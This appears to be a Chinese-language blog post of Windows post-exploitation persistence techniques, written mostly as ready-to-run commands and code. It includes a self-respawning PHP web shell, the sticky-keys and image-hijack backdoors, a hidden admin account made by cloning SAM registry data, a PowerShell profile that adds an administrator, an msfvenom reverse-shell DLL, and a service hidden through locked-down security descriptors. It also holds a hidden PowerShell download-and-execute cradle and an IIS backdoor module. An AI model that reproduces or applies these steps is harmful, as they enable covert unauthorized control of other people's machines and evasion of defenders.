windows权限维持

简介: windows权限维持

不死马权限维持

<?php
ignore_user_abort(); //关掉浏览器,PHP脚本也可以继续执行.
set_time_limit(0);//通过set_time_limit(0)可以让程序无限制的执行下去
$interval = 5; // 每隔*秒运行
do {
$filename = 'test.php';
if(file_exists($filename)) {
echo "xxx";
}
else {
$file = fopen("test.php", "w");
$txt = "PD9waHAgZXZhbCgkX1BPU1RbY10pOz8+";//c
$txt=base64_decode($txt);
fwrite($file, $txt);
fclose($file);
}
sleep($interval);
} while (true);
?>

映像劫持技术

进入注册表

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File
Execution Options

在下面添加一项,这里的命名与后续要触发的可执行文件程序文件名一致,这里我新建coleak.exe为后门文件,然后在coleak.exe的右侧新建一个Debugger,在输入值的栏目中填入你的后门绝对路径径,修改一个文件的文件名为coleak.exe 双击 即可触发。

运行命名为coleak.exe的文件时将会被替代为运行s.exe

策略组脚本维持

输入gpedit.msc 打开组策略,打开 windows设置 脚本 里面又关机和开机

在C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup上传s.exe(或者直接选择c盘中的s.exe), 启动时选择该文件即可

shift粘滞键后门

更改sethc.exe拥有者 为administrator

move C:\windows\system32\sethc.exe C:\windows\system32\sethc.exe.bak
Copy C:\s.exe C:\windows\system32\sethc.exe

建立影子账号

创建一个带$符号的账户,因为在常规cmd下是无法查看到的。

net user coleak$ p-0p-0p-0 /add
net localgroup administrators coleak$ /add
net users

打开注册表 HEKY_LOCAL_MACHINE\SAM\SAM\Domains\Account\User

3ea是coleak$用户 1F4是超级管理员的值

将1F4下F项的值复制到3ea下F项里面,替换原有数据。然后导出coleak$以及3EA

ner user moonsec$ /del 删除这个用户 再导入注册表 用户已经不显示在这个面板了。

powershell配置文件后门

Powershell配置文件其实就是一个powershell脚本,他可以在每次运行powershell的时候自动运行,所

以可以通过向该文件写入自定义的语句用来长期维持权限。

依次输入以下命令,查看当前是否存在配置文件。

echo $profile
# C:\Users\Administrator\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1
Test-path $profile
# False
New-Item -Path $profile -Type File –Force

设置1.bat

net user coleak 123456 /add & net localgroup administrators coleak /add
$string = 'Start-Process "C:\1.bat"'
$string | Out-File -FilePath $profile -Append
more $profile

Monitor权限维持

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.10.128 LPORT=12345 -f dll > shell.dll
copy C:\temp\shell.dll C:\Windows\System32\test.dll
cd C:\Windows\System32\
Monitor.exe

利用安全描述符隐藏服务后门进行权限维持

cmd创建自启动服务
sc create ".NET CLR Networking 3.5.0.0" binpath= "cmd.exe /k C:\s.exe" depend= Tcpip obj= Localsystem start= auto
sc sdset ".NET CLR Networking 3.5.0.0" "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

查询不到服务

sc query |findstr ".NET CLR Networking 3.5.0.0"
get-service | findstr ".NET CLR Networking 3.5.0.0"
sc query ".NET CLR Networking 3.5.0.0"   #拒绝访问

修改注册表的DACL来拒绝对值的查询,达到隐藏异常值的效果

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services.NET CLR Networking 3.5.0.0

function Server-Sddl-Change{
[CmdletBinding()]
param
(
[parameter(Mandatory=$false)][String]$Name
)
$ROOT = "HKLM:\SYSTEM\CurrentControlSet\Services\"
$S = $ROOT+$NAME
$acl = Get-Acl $S
$acl.SetAccessRuleProtection($true, $false)
$person = [System.Security.Principal.NTAccount]"Everyone"
$access = [System.Security.AccessControl.RegistryRights]"QueryValues"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"None"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Deny"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)
$person = [System.Security.Principal.NTAccount]"Everyone"
$access =[System.Security.AccessControl.RegistryRights]"SetValue,CreateSubKey,EnumerateSu
bKeys,Notify,CreateLink,Delete,ReadPermissions,WriteKey,ExecuteKey,ReadKey,Chang
ePermissions,TakeOwnership"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"None"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Allow"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)
Set-Acl $S $acl
}
powershell.exe -exec bypass -nop -w hidden -c "IEX((new-object net.webclient).downloadstring('http://192.168.10.128/1.ps1'));Server-Sddl-Change -Name '.NET CLR Networking 3.5.0.0'"

iis后门

web.config

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <system.webServer>
        <modules>
      <add name="IIS_backdoor" type="IIS_backdoor_dll.IISModule" />
        </modules>
    </system.webServer>
</configuration>

在网站目录下新建一个bin文件夹 这个文件夹 存放dll集 把IIS_backdoor_dll.dll存放在这里面,打开 IIS_backdoor_shell 把网址填写进去即可执行命令

window隐藏技术

Attrib +s +a +h +r s.exe

驱动级文件隐藏

Easy File Locker

如何清除?
1、查询服务状态: sc qc xlkfs
2、停止服务: net stop xlkfs 服务停止以后,经驱动级隐藏的文件即可显现
3、删除服务: sc delete xlkfs
4、删除系统目录下面的文件,重启系统,确认服务已经被清理了。
indow隐藏技术


目录
相关文章
|
3月前
|
开发框架 .NET API
Windows Server 2022 安装IIS 报错 访问临时文件夹 C:\WINDOWS\TEMP\3C 读取/写入权限 错误: 0x80070005
Windows Server 2022 安装IIS 报错 访问临时文件夹 C:\WINDOWS\TEMP\3C 读取/写入权限 错误: 0x80070005
147 0
|
5月前
【权限维持】Windows&自启动&映像劫持&粘滞键&辅助屏保后门&WinLogon
【权限维持】Windows&自启动&映像劫持&粘滞键&辅助屏保后门&WinLogon
|
4月前
|
安全 Windows
【项目问题解决】windows10 删除文件有完全控制权限 你需要权限来执行此操作
在Windows 10中遇到删除文件提示需管理员权限时,问题可能源于用户权限不足或文件夹权限设置。解决方法包括:右键文件→属性→安全→高级→更改所有者为管理员→保存设置→回到安全选项卡,选中管理员权限,勾选“完全控制”,确定保存。若仍无法删除,先尝试删除子文件,再删除文件夹。
214 0
|
安全 测试技术 Windows
Windows Ancillary Function Driver for WinSock 权限提升漏洞(CVE-2023-21768)
Windows Ancillary Function Driver for WinSock 存在权限提升漏洞
287 1
|
存储 安全 API
Windows Server 2022 21H2 本地域权限提升漏洞(PetitPotam)
Windows Server 2022 Standard/Datacenter 存在本地域权限提升漏洞,攻击者可通过使用PetitPotam工具进行获取服务器SYSTEM权限。
291 1
|
6月前
|
监控 安全 网络协议
windows服务器权限分析
windows服务器权限分析
73 1
windows服务器权限分析
|
6月前
|
安全 数据安全/隐私保护 Windows
Windows 命令提示符(CDM)操作(六):安全和权限
Windows 命令提示符(CDM)操作(六):安全和权限
|
Windows
Windows NTFS权限
Windows NTFS权限
44 0
|
安全 Shell 网络安全
【网络安全】护网系列-windows权限维持
【网络安全】护网系列-windows权限维持
182 0
|
7天前
|
监控 安全 网络安全
Windows Server管理:配置与管理技巧
Windows Server管理:配置与管理技巧
35 3